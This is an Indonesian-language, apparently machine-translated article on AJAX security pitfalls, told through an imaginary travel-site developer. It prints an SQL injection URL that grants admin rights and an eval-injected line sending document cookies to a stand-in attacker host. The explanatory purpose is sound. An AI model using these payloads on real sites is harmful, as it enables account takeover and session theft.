Pengembang web tidak akan menyadari kegembiraan yang dibawa oleh "AJAX (Asynchronous JavaScript And XML)". Membuat situs web pintar seperti Google Suggest atau aplikasi berbasis web seperti Gmail sangatlah mudah, sebagian besar berkat teknologi ini. Namun, dengan berkembangnya aplikasi AJAX, kami menemukan beberapa kekurangannya, dan kami menemukan bahwa lubang keamanannya secara bertahap semakin besar, seperti perlahan-lahan memasukkan situs berbasis AJAX ke dalam bom waktu. Pengembang web tidak akan menyadari kegembiraan yang dibawa oleh "AJAX (Asynchronous JavaScript And XML)". Membuat situs web pintar seperti Google Suggest atau aplikasi berbasis web seperti Gmail sangatlah mudah, sebagian besar berkat teknologi ini. Namun, dengan berkembangnya aplikasi AJAX, kami menemukan beberapa kekurangannya, dan kami menemukan bahwa lubang keamanannya secara bertahap semakin besar, seperti perlahan-lahan memasukkan situs berbasis AJAX ke dalam bom waktu.
Manfaat AJAX
Di masa lalu "aplikasi web", segala sesuatunya cukup sederhana. Anda mengisi formulir, klik tombol "Kirim", dan layar saat ini menghilang, menunggu beberapa saat sebelum Anda dipindahkan ke halaman berikutnya. Hal ini tidak lagi terjadi saat ini. Yang diinginkan pengguna adalah pengalaman Web yang lancar, cepat, dan mudah digunakan seperti aplikasi desktop mana pun.
AJAX sering kali bekerja sama dengan DHTML (Dynamic HTML), dan kelancaran eksekusinya memerlukan kode JavaScript di halaman web dan server web untuk berkomunikasi dengan lancar di latar belakang. Misalnya, saat Anda mulai mengetik sesuatu di kotak pencarian Google Suggest, halaman web dan server mulai bertukar data di latar belakang, dan kemudian beberapa istilah yang mungkin Anda perlukan akan diberikan. Semua ini tanpa memerlukan penyegaran halaman atau menekan tombol apa pun. Ini juga alasan mengapa aplikasi seperti Gmail melakukan pekerjaan yang baik dengan pemeriksaan ejaan waktu nyata.
Bagaimana AJAX bekerja
Prinsip kompleks AJAX berada di luar cakupan yang ingin saya jelaskan hari ini, jadi saya hanya akan menjelaskannya secara singkat di sini. Kode JavaScript di halaman Anda dapat menghubungi server web Anda tanpa bergantung pada pengguna. Peran inti di sini adalah objek XMLHttpRequest JavaScript, yang dapat dipicu di latar belakang atau secara asinkron oleh peristiwa seperti penekanan tombol pengguna atau peristiwa jam (yaitu, istilah JavaScript dan XML asinkron).
Jika Anda mengetik "ajax" di Google Suggest, Anda akan mendapatkan permintaan server seperti yang saya dapatkan setelah mengetik:
1. www.google.com/complete/search?hl=en&js=true&qu=aj
2. www.google.com/complete/search?hl=en&js=true&qu=aja
3. www.google.com/complete/search?hl=en&js=true&qu=ajax
Bagian XML dari terminologi ini agak menyesatkan; sebenarnya tidak ada artinya. Namanya diambil dari objek JavaScript, dan banyak aplikasi bergaya AJAX menggunakan XML, yang dapat membuat permintaan ke server untuk transaksi apa pun. Bahkan kode JavaScript itu sendiri dapat diambil dan dievaluasi. Melanjutkan untuk menyelesaikan masukan saya tentang "contoh ajax" akan menghasilkan respons berikut dari server Google:
sendRPCDone(frameElement, "contoh ajax", Array baru("contoh ajax", "contoh ajax"), Array baru("153.000 hasil", "177.000 hasil"), Array baru(""));
Ini akan memberi Anda petunjuk tentang kekuatan AJAX, dengan kemampuannya untuk menambahkan kode JavaScript baru ke browser dengan cepat. Namun, pendekatan optimal tampaknya mengikat protokol XML. Sebagai contoh, Google menghasilkan yang berikut ini:
contoh ajax
153.000
contoh ajax
177.000
Tentu saja, Anda dapat mengurai data XML ini dalam bentuk yang sesuai, namun kita harus berterima kasih kepada JavaScript atas kemampuannya menangani objek XML dengan sangat baik di bawah beberapa batasan yang sangat umum dan banyak bug IE yang buruk.
Untuk membantu Anda memahami beberapa masalah Ajax, saya di sini untuk memperkenalkan Anda kepada perusahaan perjalanan imajiner - "Perusahaan Perjalanan Times Cutting Edge". Didorong oleh bug AJAX, pengembang web utama mereka, Max Uptime, memutuskan untuk menggabungkan AJAX untuk membuat aplikasi seperti ini.
Masalah AJAX
Lebih dari separuh risiko keamanan AJAX berasal dari kerentanan yang tersembunyi di server. Jelasnya, desain yang baik dengan menggunakan teknik pengkodean yang aman akan sangat membantu dalam membuat AJAX lebih aman, dan kami berterima kasih kepada Max atas pengetahuannya tentang 10 Daftar Kerentanan Keamanan Aplikasi Web terburuk ( www.open web application security project/OWASP). owasp.org ). Sayangnya, ketika Max mengimplementasikan AJAX, ia masih harus menghadapi sejumlah faktor tambahan:
1. Teknologi baru: Jika Max ingin menghubungkan situsnya ke database SQL, dia menemukan jutaan contoh di Google. Teknologi AJAX, betapapun mudanya teknologi ini, masih relatif awal dalam siklus pengadaannya, meskipun hanya sedikit contoh bagus yang muncul di web. Untuk menyelesaikan beberapa masalah kompleks yang sulit dan tidak perlu, hal ini mengharuskan pengembang seperti Max untuk mengembangkannya secara mandiri. Max harus menulis kode sisi server dan sisi klien, membuat protokol yang dia tidak yakin (terutama untuk respons server). Tidak peduli seberapa bagus perjanjian ini, perjanjian tersebut akan terlihat di halaman pada waktunya.
2. Desain non-tradisional: AJAX sedikit berbeda dari desain tradisional karena aplikasi tersebut setengah klien dan setengah server. Dalam kasus Max, dia adalah satu-satunya pengembang, jadi dia bisa membuat kode untuk server dan klien. Mengembangkan dalam dua bahasa yang berbeda pada saat yang sama (terutama pada tahap awal) akan menciptakan beberapa kesalahan pengkodean yang mendasar karena akan berpindah-pindah antara dua ujung. Apa yang bagus di satu sisi mungkin tidak berfungsi di sisi yang lain . Meskipun Max memiliki tim pengembangan yang besar, tanggung jawab pengkodean keamanan mungkin timbul ketika kode diserahkan antara tim pengembangan server dan klien.
3. Terlalu banyak bahasa skrip: Max menggunakan kecerdikannya sendiri untuk memutuskan membuat alat check-in perjalanan terbaik di dunia. Anda memulai pendaftaran dengan memasukkan lokasi Anda saat ini (melalui kode pos, kode area telepon, GPS, dll.) dan permintaan AJAX segera dikirim untuk menentukan lokasi persis Anda. Sejak saat itu, layar akan terisi dengan semua opsi perjalanan yang tersedia untuk Anda, semuanya bahkan sebelum Anda memutuskan ke mana Anda ingin pergi, kapan Anda ingin berangkat, dan dengan siapa Anda ingin pergi.
Sel dan kontrol pada layar ini semuanya digerakkan oleh AJAX, dan skrip sisi server dan sisi klien mungkin memerlukan lebih dari 20 panggilan server yang berbeda. Anda dapat membayangkan program server individual kecil, seperti findairportsbylocation.aspx atau determinmaxbaggageallowancebyairline.php.
Menjadi jelas bahwa tanpa perencanaan Max yang cermat (seperti membuat fungsi JavaScript dan skrip server yang "kelebihan beban" serbaguna), dia akan membuat lebih dari 40 bagian terpisah untuk setiap desain. Lebih banyak pemrograman berarti lebih banyak kesalahan dan bug, yang berarti lebih banyak waktu untuk menulis, mengelola, menguji, dan memperbarui kode. Tidak hanya itu, karena banyaknya skrip yang digunakan dalam kode JavaScript sisi klien, mereka juga cenderung menjadi sangat pelupa selama pengujian program formal.
4. Pastikan AJAX dalam jumlah kecil tidak akan menimbulkan bahaya: Situs ini adalah situs untuk merencanakan perjalanan, tetapi Max berpikir bahwa situs ini akan segera memberi Anda tampilan satelit yang menunjukkan lokasi persis dan kondisi cuaca tujuan Anda. .Juga tersedia untuk Anda. Salah satu godaan besar AJAX adalah sepertinya ia melakukan sesuatu yang lain hingga menit terakhir, seperti ada komentator yang menjelaskan, menggunakan AJAX demi AJAX. Ketika Max mulai mencoba ide-ide barunya, dia secara bertahap akan mencoba menambahkan lebih banyak fitur baru, sama sekali mengabaikan perlunya pengujian.
5. Komunikasi tidak aman: Setiap panggilan AJAX hanya dapat mengembalikan sejumlah kecil data ke klien, namun data tersebut bersifat pribadi dan rahasia. Max dapat menulis alat yang berguna untuk memverifikasi nomor kartu kredit Anda secara digital, tetapi bagaimana jika Anda menggunakan teks biasa melalui SSL untuk mengirim data? Ini pertanyaan yang jelas, tetapi ketika ada banyak rutinitas yang perlu dipertimbangkan, terutama ketika 99% lainnya data di layar bukanlah data yang benar-benar rahasia, SSL mudah diabaikan.
6. Kontrol akses sisi server: Menggunakan program JavaScript untuk memicu AJAX sering kali menyembunyikan beberapa kesalahan pengkodean yang jelas adalah salah satu contohnya. Misalkan Max ingin memberi Anda hotel favorit berdasarkan detail tujuan yang Anda kunjungi terakhir kali.
showprevioushotels.aspx?userid=12345&destination=UK
Ini tentu saja sangat bagus, tetapi bagaimana jika pengguna jahat mengubah URL menjadi seperti ini:
showprevioushotels.aspx?userid=12346&destination=%
Apakah mereka akan mendapatkan hotel favorit orang lain? (Catatan: % adalah karakter wildcard dalam pernyataan SQL). Tidak diragukan lagi, ini adalah contoh yang tidak berbahaya, namun Max harus menggunakan sesi, cookie, atau token lainnya untuk memastikan bahwa data dapat dan hanya dikirim ke pengguna yang benar. Ini mungkin hanya sebagian kecil dari data, namun mungkin merupakan bagian yang paling penting.
7. Validasi sisi server: Sebenarnya ada dua masalah di sini. Pertama, kontrol AJAX sering digunakan untuk memvalidasi input pengguna sebelum pengiriman akhir ke server. Hal ini melumpuhkan Max dan memberinya rasa aman yang salah karena dia menyiapkan fungsi bernamaallowdestinations.php yang menentukan tujuan yang benar bagi pengguna berdasarkan ID mereka.
Karena ini adalah pemeriksaan sisi server, dia tidak perlu khawatir untuk melakukan pemeriksaan di server lagi ketika halaman akhirnya dikirimkan. Kami berasumsi bahwa tidak ada pengguna jahat yang dapat menumbangkan respons dari diizinkandestinasi.php atau menghancurkan permintaan terakhir permintaan.
Kontrol AJAX dapat memvalidasi input pengguna lebih hati-hati dibandingkan pengguna itu sendiri, namun masih sering melakukan validasi akhir di server.
Masalah kedua dengan validasi AJAX adalah kontrol itu sendiri rentan terhadap kerentanan validasi. Sekali lagi, URL sering kali disembunyikan, sehingga sering kali dilupakan. Misalnya mungkin saya bisa menggunakan SQL Injection untuk menyerang script tadi, sebagai berikut:
showprevioushostels.aspx?userid='; perbarui set pengguna type='admin' di mana userid=12345;--
Ini akan memungkinkan saya untuk masuk dengan hak administrator sistem. Tentu saja, cara mendapatkan nama tabel dan nama field tersebut berada di luar cakupan artikel ini, tetapi Anda sudah mengetahui situasinya, bukan?
8. Verifikasi sisi klien: Kita telah mengetahui bahwa dalam contoh Google Suggest tadi, membuat dan menjalankan fungsi JavaScript secara dinamis dapat dilakukan hanya dengan mengevaluasi respons sisi server. Tanpa validasi dalam bentuk apa pun (yang akan sulit memastikan keandalan dan kelancaran di sisi klien), klien hanya akan melakukan apa yang diminta oleh server.
Dalam hal ini, karena eksekusi kode sebenarnya tidak pernah terlihat oleh pengguna normal (yaitu Anda tidak dapat "melihat sumbernya"), hal ini berpotensi membuka jalur serangan lengkap untuk panduan peretas jahat. Jika respons server terus-menerus dirusak (baik pada server web itu sendiri atau selama transfer data), serangan ini akan sulit dideteksi.
Max menggunakan respon berikut untuk memperbarui ikon cuaca di halaman web tujuan. Fungsi yang dia gunakan adalah fungsi eval();
updateWeatherIcon('cloudy.gif');
Namun, cracker jahat dapat mengubah fungsi ini menjadi bentuk berikut, sehingga membuat serangan lebih sulit dideteksi:
updateWeatherIcon('www.myhackingsite.ru/grab.aspx?c=' + document.cookies); updateWeatherIcon('cloudy.gif');
Kami sekarang dapat melacak ID sesi/cookie setiap pengguna di server kami sendiri.
ringkasan
Tidak ada keraguan bahwa teknologi gaya AJAX dan AJAX adalah jalan terang menuju desain web. Pengembang dapat membuat "aplikasi" nyata di web yang belum pernah mungkin dilakukan sebelumnya, namun kehati-hatian harus diberikan saat menggunakan AJAX untuk menjamin keamanan situs web.
Namun, salah satu ancaman terbesar datang dari semakin canggihnya skrip sisi klien dan skrip sisi server yang menggunakan AJAX. Skrip ini disembunyikan dari pandangan dengan cara teknis, membuat pengujian menjadi tidak intuitif; pada saat yang sama, teknologi baru ini juga tampaknya menyebabkan pengembang web melupakan dasar-dasar pengkodean yang baik. Permasalahan seperti kontrol akses dan validasi input tidak akan hilang, namun menjadi semakin banyak dan kompleks.
-